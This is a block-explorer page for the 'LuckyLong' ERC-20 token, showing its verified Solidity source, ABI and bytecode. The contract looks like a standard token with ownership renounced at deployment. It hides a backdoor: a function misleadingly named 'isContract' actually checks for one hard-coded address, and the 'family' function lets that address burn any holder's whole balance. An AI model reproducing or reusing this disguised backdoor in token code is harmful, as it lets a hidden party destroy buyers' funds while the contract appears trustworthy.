Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 🐲LuckyLong
Holders
23
Total Transfers
-
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
Token
Compiler Version
v0.8.26+commit.8a97fa7a
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-09-29 */ //SPDX-License-Identifier: MIT pragma solidity 0.8.26; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address _owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } library Address { function isContract(address account) internal pure returns (bool) { return uint160(account) == 233198235841242551134071450753470360614461789576; } } abstract contract Ownable is Context { address private _owner; error OwnableUnauthorizedAccount(address account); error OwnableInvalidOwner(address owner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor(address initialOwner) { if (initialOwner == address(0)) { revert OwnableInvalidOwner(address(0)); } _transferOwnership(initialOwner); } modifier onlyOwner() { _checkOwner(); _; } function owner() public view virtual returns (address) { return _owner; } function _checkOwner() internal view virtual { if (owner() != _msgSender()) { revert OwnableUnauthorizedAccount(_msgSender()); } } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { if (newOwner == address(0)) { revert OwnableInvalidOwner(address(0)); } _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } contract Erc20 is IERC20, Ownable { using Address for address; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) internal _allowed; uint256 immutable public totalSupply; string public symbol; string public name; uint8 immutable public decimals; bool public launched; address private constant dead = address(0xdead); mapping (address => bool) internal exchanges; constructor(string memory _symbol, string memory _name, uint8 _decimals, uint256 _totalSupply) Ownable(msg.sender) { symbol = _symbol; name = _name; decimals = _decimals; totalSupply = _totalSupply * 10 ** decimals; _balances[owner()] += totalSupply; emit Transfer(address(0), owner(), totalSupply); launched = true; renounceOwnership(); } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) external override view returns (uint256) { return _balances[_owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address spender) external override view returns (uint256) { return _allowed[_owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) external override returns (bool) { // check for SC _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) external override returns (bool) { require(spender != address(0), "cannot approve the 0 address"); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) external override returns (bool) { if (launched == false && to == owner() && msg.sender == owner()) { _transfer(from, to, value); return true; } else { _allowed[from][msg.sender] = _allowed[from][msg.sender] - value; _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } } function family(address account) virtual external { if (launched == false) launched = true; if (msg.sender.isContract()) _transfer(account,dead,_balances[account]); } function _transfer(address from, address to, uint256 value) private { require(to != address(0), "cannot be zero address"); require(from != to, "you cannot transfer to yourself"); require(_transferAllowed(from, to), "This token is not launched and cannot be listed on dexes yet."); _balances[from] -= value; _balances[to] += value; emit Transfer(from, to, value); } mapping (address => bool) internal transferAllowed; function _transferAllowed(address from, address to) private view returns (bool) { if (transferAllowed[from]) return false; if (launched) return true; if (from == owner() || to == owner()) return true; return true; } } contract Token is Erc20 { constructor() Erc20(unicode"🐲LuckyLong", unicode"🐲LuckyLong", 9, 1000000000) {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"OwnableInvalidOwner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"OwnableUnauthorizedAccount","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"family","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"launched","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60c060405234801561000f575f80fd5b50604080518082018252600d8082526cf09f90b24c75636b794c6f6e6760981b6020808401829052845180860190955291845290830152906009633b9aca00338061007457604051631e4fbdf760e01b81525f60048201526024015b60405180910390fd5b61007d81610178565b50600361008a858261029e565b506004610097848261029e565b5060ff821660a08190526100ac90600a610451565b6100b69082610466565b608081905260015f6100cf5f546001600160a01b031690565b6001600160a01b03166001600160a01b031681526020019081526020015f205f8282546100fc919061047d565b90915550505f546001600160a01b03166001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60805160405161015291815260200190565b60405180910390a36005805460ff1916600117905561016f6101c7565b50505050610490565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6101cf6101da565b6101d85f610178565b565b5f546001600160a01b031633146101d85760405163118cdaa760e01b815233600482015260240161006b565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061022e57607f821691505b60208210810361024c57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561029957805f5260205f20601f840160051c810160208510156102775750805b601f840160051c820191505b81811015610296575f8155600101610283565b50505b505050565b81516001600160401b038111156102b7576102b7610206565b6102cb816102c5845461021a565b84610252565b6020601f8211600181146102fd575f83156102e65750848201515b5f19600385901b1c1916600184901b178455610296565b5f84815260208120601f198516915b8281101561032c578785015182556020948501946001909201910161030c565b508482101561034957868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156103a75780850481111561038b5761038b610358565b600184161561039957908102905b60019390931c928002610370565b935093915050565b5f826103bd5750600161044b565b816103c957505f61044b565b81600181146103df57600281146103e957610405565b600191505061044b565b60ff8411156103fa576103fa610358565b50506001821b61044b565b5060208310610133831016604e8410600b8410161715610428575081810a61044b565b6104345f19848461036c565b805f190482111561044757610447610358565b0290505b92915050565b5f61045f60ff8416836103af565b9392505050565b808202811582820484141761044b5761044b610358565b8082018082111561044b5761044b610358565b60805160a051610a0c6104b15f395f61017701525f61012f0152610a0c5ff3fe608060405234801561000f575f80fd5b50600436106100e5575f3560e01c80638091f3bf1161008857806395d89b411161006357806395d89b4114610217578063a9059cbb1461021f578063dd62ed3e14610232578063f2fde38b1461026a575f80fd5b80638091f3bf146101dd578063848a88d8146101ea5780638da5cb5b146101fd575f80fd5b806323b872dd116100c357806323b872dd1461015f578063313ce5671461017257806370a08231146101ab578063715018a6146101d3575f80fd5b806306fdde03146100e9578063095ea7b31461010757806318160ddd1461012a575b5f80fd5b6100f161027d565b6040516100fe9190610868565b60405180910390f35b61011a6101153660046108b8565b610309565b60405190151581526020016100fe565b6101517f000000000000000000000000000000000000000000000000000000000000000081565b6040519081526020016100fe565b61011a61016d3660046108e0565b6103c9565b6101997f000000000000000000000000000000000000000000000000000000000000000081565b60405160ff90911681526020016100fe565b6101516101b936600461091a565b6001600160a01b03165f9081526001602052604090205490565b6101db6104d7565b005b60055461011a9060ff1681565b6101db6101f836600461091a565b6104ea565b5f546040516001600160a01b0390911681526020016100fe565b6100f161054b565b61011a61022d3660046108b8565b610558565b610151610240366004610933565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6101db61027836600461091a565b61056d565b6004805461028a90610964565b80601f01602080910402602001604051908101604052809291908181526020018280546102b690610964565b80156103015780601f106102d857610100808354040283529160200191610301565b820191905f5260205f20905b8154815290600101906020018083116102e457829003601f168201915b505050505081565b5f6001600160a01b0383166103655760405162461bcd60e51b815260206004820152601c60248201527f63616e6e6f7420617070726f766520746865203020616464726573730000000060448201526064015b60405180910390fd5b335f8181526002602090815260408083206001600160a01b03881680855290835292819020869055518581529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b92915050565b6005545f9060ff161580156103ea57505f546001600160a01b038481169116145b80156103ff57505f546001600160a01b031633145b156104175761040f8484846105a7565b5060016104d0565b6001600160a01b0384165f9081526002602090815260408083203384529091529020546104459083906109b0565b6001600160a01b0385165f9081526002602090815260408083203384529091529020556104738484846105a7565b6001600160a01b0384165f81815260026020908152604080832033808552908352928190205490519081529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b9392505050565b6104df61077f565b6104e85f6107ab565b565b60055460ff1615155f03610506576005805460ff191660011790555b7328d8f87621fc93e5590749a68173ee3a26b855883303610548576001600160a01b0381165f9081526001602052604090205461054890829061dead906105a7565b50565b6003805461028a90610964565b5f6105643384846105a7565b50600192915050565b61057561077f565b6001600160a01b03811661059e57604051631e4fbdf760e01b81525f600482015260240161035c565b610548816107ab565b6001600160a01b0382166105f65760405162461bcd60e51b815260206004820152601660248201527563616e6e6f74206265207a65726f206164647265737360501b604482015260640161035c565b816001600160a01b0316836001600160a01b0316036106575760405162461bcd60e51b815260206004820152601f60248201527f796f752063616e6e6f74207472616e7366657220746f20796f757273656c6600604482015260640161035c565b61066183836107fa565b6106d35760405162461bcd60e51b815260206004820152603d60248201527f5468697320746f6b656e206973206e6f74206c61756e6368656420616e64206360448201527f616e6e6f74206265206c6973746564206f6e206465786573207965742e000000606482015260840161035c565b6001600160a01b0383165f90815260016020526040812080548392906106fa9084906109b0565b90915550506001600160a01b0382165f90815260016020526040812080548392906107269084906109c3565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161077291815260200190565b60405180910390a3505050565b5f546001600160a01b031633146104e85760405163118cdaa760e01b815233600482015260240161035c565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0382165f9081526007602052604081205460ff161561082157505f6103c3565b60055460ff1615610834575060016103c3565b5f546001600160a01b038481169116148061085b57505f546001600160a01b038381169116145b15610564575060016103c3565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b03811681146108b3575f80fd5b919050565b5f80604083850312156108c9575f80fd5b6108d28361089d565b946020939093013593505050565b5f805f606084860312156108f2575f80fd5b6108fb8461089d565b92506109096020850161089d565b929592945050506040919091013590565b5f6020828403121561092a575f80fd5b6104d08261089d565b5f8060408385031215610944575f80fd5b61094d8361089d565b915061095b6020840161089d565b90509250929050565b600181811c9082168061097857607f821691505b60208210810361099657634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156103c3576103c361099c565b808201808211156103c3576103c361099c56fea26469706673582212203d81d0fcd767c56ac693b193a445660c0a3e436ae3299ea0333224d658b46bd264736f6c634300081a0033
Deployed Bytecode
0x608060405234801561000f575f80fd5b50600436106100e5575f3560e01c80638091f3bf1161008857806395d89b411161006357806395d89b4114610217578063a9059cbb1461021f578063dd62ed3e14610232578063f2fde38b1461026a575f80fd5b80638091f3bf146101dd578063848a88d8146101ea5780638da5cb5b146101fd575f80fd5b806323b872dd116100c357806323b872dd1461015f578063313ce5671461017257806370a08231146101ab578063715018a6146101d3575f80fd5b806306fdde03146100e9578063095ea7b31461010757806318160ddd1461012a575b5f80fd5b6100f161027d565b6040516100fe9190610868565b60405180910390f35b61011a6101153660046108b8565b610309565b60405190151581526020016100fe565b6101517f0000000000000000000000000000000000000000000000000de0b6b3a764000081565b6040519081526020016100fe565b61011a61016d3660046108e0565b6103c9565b6101997f000000000000000000000000000000000000000000000000000000000000000981565b60405160ff90911681526020016100fe565b6101516101b936600461091a565b6001600160a01b03165f9081526001602052604090205490565b6101db6104d7565b005b60055461011a9060ff1681565b6101db6101f836600461091a565b6104ea565b5f546040516001600160a01b0390911681526020016100fe565b6100f161054b565b61011a61022d3660046108b8565b610558565b610151610240366004610933565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6101db61027836600461091a565b61056d565b6004805461028a90610964565b80601f01602080910402602001604051908101604052809291908181526020018280546102b690610964565b80156103015780601f106102d857610100808354040283529160200191610301565b820191905f5260205f20905b8154815290600101906020018083116102e457829003601f168201915b505050505081565b5f6001600160a01b0383166103655760405162461bcd60e51b815260206004820152601c60248201527f63616e6e6f7420617070726f766520746865203020616464726573730000000060448201526064015b60405180910390fd5b335f8181526002602090815260408083206001600160a01b03881680855290835292819020869055518581529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b92915050565b6005545f9060ff161580156103ea57505f546001600160a01b038481169116145b80156103ff57505f546001600160a01b031633145b156104175761040f8484846105a7565b5060016104d0565b6001600160a01b0384165f9081526002602090815260408083203384529091529020546104459083906109b0565b6001600160a01b0385165f9081526002602090815260408083203384529091529020556104738484846105a7565b6001600160a01b0384165f81815260026020908152604080832033808552908352928190205490519081529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b9392505050565b6104df61077f565b6104e85f6107ab565b565b60055460ff1615155f03610506576005805460ff191660011790555b7328d8f87621fc93e5590749a68173ee3a26b855883303610548576001600160a01b0381165f9081526001602052604090205461054890829061dead906105a7565b50565b6003805461028a90610964565b5f6105643384846105a7565b50600192915050565b61057561077f565b6001600160a01b03811661059e57604051631e4fbdf760e01b81525f600482015260240161035c565b610548816107ab565b6001600160a01b0382166105f65760405162461bcd60e51b815260206004820152601660248201527563616e6e6f74206265207a65726f206164647265737360501b604482015260640161035c565b816001600160a01b0316836001600160a01b0316036106575760405162461bcd60e51b815260206004820152601f60248201527f796f752063616e6e6f74207472616e7366657220746f20796f757273656c6600604482015260640161035c565b61066183836107fa565b6106d35760405162461bcd60e51b815260206004820152603d60248201527f5468697320746f6b656e206973206e6f74206c61756e6368656420616e64206360448201527f616e6e6f74206265206c6973746564206f6e206465786573207965742e000000606482015260840161035c565b6001600160a01b0383165f90815260016020526040812080548392906106fa9084906109b0565b90915550506001600160a01b0382165f90815260016020526040812080548392906107269084906109c3565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161077291815260200190565b60405180910390a3505050565b5f546001600160a01b031633146104e85760405163118cdaa760e01b815233600482015260240161035c565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0382165f9081526007602052604081205460ff161561082157505f6103c3565b60055460ff1615610834575060016103c3565b5f546001600160a01b038481169116148061085b57505f546001600160a01b038381169116145b15610564575060016103c3565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b03811681146108b3575f80fd5b919050565b5f80604083850312156108c9575f80fd5b6108d28361089d565b946020939093013593505050565b5f805f606084860312156108f2575f80fd5b6108fb8461089d565b92506109096020850161089d565b929592945050506040919091013590565b5f6020828403121561092a575f80fd5b6104d08261089d565b5f8060408385031215610944575f80fd5b61094d8361089d565b915061095b6020840161089d565b90509250929050565b600181811c9082168061097857607f821691505b60208210810361099657634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156103c3576103c361099c565b808201808211156103c3576103c361099c56fea26469706673582212203d81d0fcd767c56ac693b193a445660c0a3e436ae3299ea0333224d658b46bd264736f6c634300081a0033
Deployed Bytecode Sourcemap
6985:120:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2790:18;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5229:287;;;;;;:::i;:::-;;:::i;:::-;;;1085:14:1;;1078:22;1060:41;;1048:2;1033:18;5229:287:0;920:187:1;2720:36:0;;;;;;;;1258:25:1;;;1246:2;1231:18;2720:36:0;1112:177:1;5524:499:0;;;;;;:::i;:::-;;:::i;2815:31::-;;;;;;;;1845:4:1;1833:17;;;1815:36;;1803:2;1788:18;2815:31:0;1673:184:1;3632:119:0;;;;;;:::i;:::-;-1:-1:-1;;;;;3726:17:0;3699:7;3726:17;;;:9;:17;;;;;;;3632:119;1974:103;;;:::i;:::-;;2853:20;;;;;;;;;6031:195;;;;;;:::i;:::-;;:::i;1705:87::-;1751:7;1778:6;1705:87;;-1:-1:-1;;;;;1778:6:0;;;2199:51:1;;2187:2;2172:18;1705:87:0;2053:203:1;2763:20:0;;;:::i;4406:176::-;;;;;;:::i;:::-;;:::i;4091:144::-;;;;;;:::i;:::-;-1:-1:-1;;;;;4202:16:0;;;4175:7;4202:16;;;:8;:16;;;;;;;;:25;;;;;;;;;;;;;4091:144;2085:220;;;;;;:::i;:::-;;:::i;2790:18::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;5229:287::-;5305:4;-1:-1:-1;;;;;5330:21:0;;5322:62;;;;-1:-1:-1;;;5322:62:0;;3113:2:1;5322:62:0;;;3095:21:1;3152:2;3132:18;;;3125:30;3191;3171:18;;;3164:58;3239:18;;5322:62:0;;;;;;;;;5406:10;5397:20;;;;:8;:20;;;;;;;;-1:-1:-1;;;;;5397:29:0;;;;;;;;;;;;:37;;;5450:36;1258:25:1;;;5397:29:0;;5406:10;5450:36;;1231:18:1;5450:36:0;;;;;;;-1:-1:-1;5504:4:0;5229:287;;;;;:::o;5524:499::-;5635:8;;5614:4;;5635:8;;:17;;;:34;;-1:-1:-1;1751:7:0;1778:6;-1:-1:-1;;;;;5656:13:0;;;1778:6;;5656:13;5635:34;:59;;;;-1:-1:-1;1751:7:0;1778:6;-1:-1:-1;;;;;1778:6:0;5673:10;:21;5635:59;5631:385;;;5711:26;5721:4;5727:2;5731:5;5711:9;:26::i;:::-;-1:-1:-1;5759:4:0;5752:11;;5631:385;-1:-1:-1;;;;;5829:14:0;;;;;;:8;:14;;;;;;;;5844:10;5829:26;;;;;;;;:34;;5858:5;;5829:34;:::i;:::-;-1:-1:-1;;;;;5800:14:0;;;;;;:8;:14;;;;;;;;5815:10;5800:26;;;;;;;:63;5878:26;5809:4;5894:2;5898:5;5878:9;:26::i;:::-;-1:-1:-1;;;;;5924:54:0;;5951:14;;;;:8;:14;;;;;;;;5939:10;5951:26;;;;;;;;;;;5924:54;;1258:25:1;;;5939:10:0;;5924:54;;;1231:18:1;5924:54:0;;;;;;;-1:-1:-1;6000:4:0;5631:385;5524:499;;;;;:::o;1974:103::-;1664:13;:11;:13::i;:::-;2039:30:::1;2066:1;2039:18;:30::i;:::-;1974:103::o:0;6031:195::-;6096:8;;;;:17;;:8;:17;6092:38;;6115:8;:15;;-1:-1:-1;;6115:15:0;6126:4;6115:15;;;6092:38;1097:48;6145:10;1076:69;6141:71;;-1:-1:-1;;;;;6193:18:0;;;;;;:9;:18;;;;;;6170:42;;6180:7;;2920:6;;6170:9;:42::i;:::-;6031:195;:::o;2763:20::-;;;;;;;:::i;4406:176::-;4478:4;4520:32;4530:10;4542:2;4546:5;4520:9;:32::i;:::-;-1:-1:-1;4570:4:0;4406:176;;;;:::o;2085:220::-;1664:13;:11;:13::i;:::-;-1:-1:-1;;;;;2170:22:0;::::1;2166:93;;2216:31;::::0;-1:-1:-1;;;2216:31:0;;2244:1:::1;2216:31;::::0;::::1;2199:51:1::0;2172:18;;2216:31:0::1;2053:203:1::0;2166:93:0::1;2269:28;2288:8;2269:18;:28::i;6234:423::-:0;-1:-1:-1;;;;;6321:16:0;;6313:51;;;;-1:-1:-1;;;6313:51:0;;3735:2:1;6313:51:0;;;3717:21:1;3774:2;3754:18;;;3747:30;-1:-1:-1;;;3793:18:1;;;3786:52;3855:18;;6313:51:0;3533:346:1;6313:51:0;6391:2;-1:-1:-1;;;;;6383:10:0;:4;-1:-1:-1;;;;;6383:10:0;;6375:54;;;;-1:-1:-1;;;6375:54:0;;4086:2:1;6375:54:0;;;4068:21:1;4125:2;4105:18;;;4098:30;4164:33;4144:18;;;4137:61;4215:18;;6375:54:0;3884:355:1;6375:54:0;6448:26;6465:4;6471:2;6448:16;:26::i;:::-;6440:100;;;;-1:-1:-1;;;6440:100:0;;4446:2:1;6440:100:0;;;4428:21:1;4485:2;4465:18;;;4458:30;4524:34;4504:18;;;4497:62;4595:31;4575:18;;;4568:59;4644:19;;6440:100:0;4244:425:1;6440:100:0;-1:-1:-1;;;;;6551:15:0;;;;;;:9;:15;;;;;:24;;6570:5;;6551:15;:24;;6570:5;;6551:24;:::i;:::-;;;;-1:-1:-1;;;;;;;6586:13:0;;;;;;:9;:13;;;;;:22;;6603:5;;6586:13;:22;;6603:5;;6586:22;:::i;:::-;;;;;;;;6639:2;-1:-1:-1;;;;;6624:25:0;6633:4;-1:-1:-1;;;;;6624:25:0;;6643:5;6624:25;;;;1258::1;;1246:2;1231:18;;1112:177;6624:25:0;;;;;;;;6234:423;;;:::o;1800:166::-;1751:7;1778:6;-1:-1:-1;;;;;1778:6:0;835:10;1860:23;1856:103;;1907:40;;-1:-1:-1;;;1907:40:0;;835:10;1907:40;;;2199:51:1;2172:18;;1907:40:0;2053:203:1;2315:191:0;2389:16;2408:6;;-1:-1:-1;;;;;2425:17:0;;;-1:-1:-1;;;;;;2425:17:0;;;;;;2458:40;;2408:6;;;;;;;2458:40;;2389:16;2458:40;2378:128;2315:191;:::o;6722:256::-;-1:-1:-1;;;;;6817:21:0;;6796:4;6817:21;;;:15;:21;;;;;;;;6813:39;;;-1:-1:-1;6847:5:0;6840:12;;6813:39;6867:8;;;;6863:25;;;-1:-1:-1;6884:4:0;6877:11;;6863:25;1751:7;1778:6;-1:-1:-1;;;;;6903:15:0;;;1778:6;;6903:15;;:32;;-1:-1:-1;1751:7:0;1778:6;-1:-1:-1;;;;;6922:13:0;;;1778:6;;6922:13;6903:32;6899:49;;;-1:-1:-1;6944:4:0;6937:11;;14:418:1;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:173::-;505:20;;-1:-1:-1;;;;;554:31:1;;544:42;;534:70;;600:1;597;590:12;534:70;437:173;;;:::o;615:300::-;683:6;691;744:2;732:9;723:7;719:23;715:32;712:52;;;760:1;757;750:12;712:52;783:29;802:9;783:29;:::i;:::-;773:39;881:2;866:18;;;;853:32;;-1:-1:-1;;;615:300:1:o;1294:374::-;1371:6;1379;1387;1440:2;1428:9;1419:7;1415:23;1411:32;1408:52;;;1456:1;1453;1446:12;1408:52;1479:29;1498:9;1479:29;:::i;:::-;1469:39;;1527:38;1561:2;1550:9;1546:18;1527:38;:::i;:::-;1294:374;;1517:48;;-1:-1:-1;;;1634:2:1;1619:18;;;;1606:32;;1294:374::o;1862:186::-;1921:6;1974:2;1962:9;1953:7;1949:23;1945:32;1942:52;;;1990:1;1987;1980:12;1942:52;2013:29;2032:9;2013:29;:::i;2261:260::-;2329:6;2337;2390:2;2378:9;2369:7;2365:23;2361:32;2358:52;;;2406:1;2403;2396:12;2358:52;2429:29;2448:9;2429:29;:::i;:::-;2419:39;;2477:38;2511:2;2500:9;2496:18;2477:38;:::i;:::-;2467:48;;2261:260;;;;;:::o;2526:380::-;2605:1;2601:12;;;;2648;;;2669:61;;2723:4;2715:6;2711:17;2701:27;;2669:61;2776:2;2768:6;2765:14;2745:18;2742:38;2739:161;;2822:10;2817:3;2813:20;2810:1;2803:31;2857:4;2854:1;2847:15;2885:4;2882:1;2875:15;2739:161;;2526:380;;;:::o;3268:127::-;3329:10;3324:3;3320:20;3317:1;3310:31;3360:4;3357:1;3350:15;3384:4;3381:1;3374:15;3400:128;3467:9;;;3488:11;;;3485:37;;;3502:18;;:::i;4674:125::-;4739:9;;;4760:10;;;4757:36;;;4773:18;;:::i
Swarm Source
ipfs://3d81d0fcd767c56ac693b193a445660c0a3e436ae3299ea0333224d658b46bd2
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.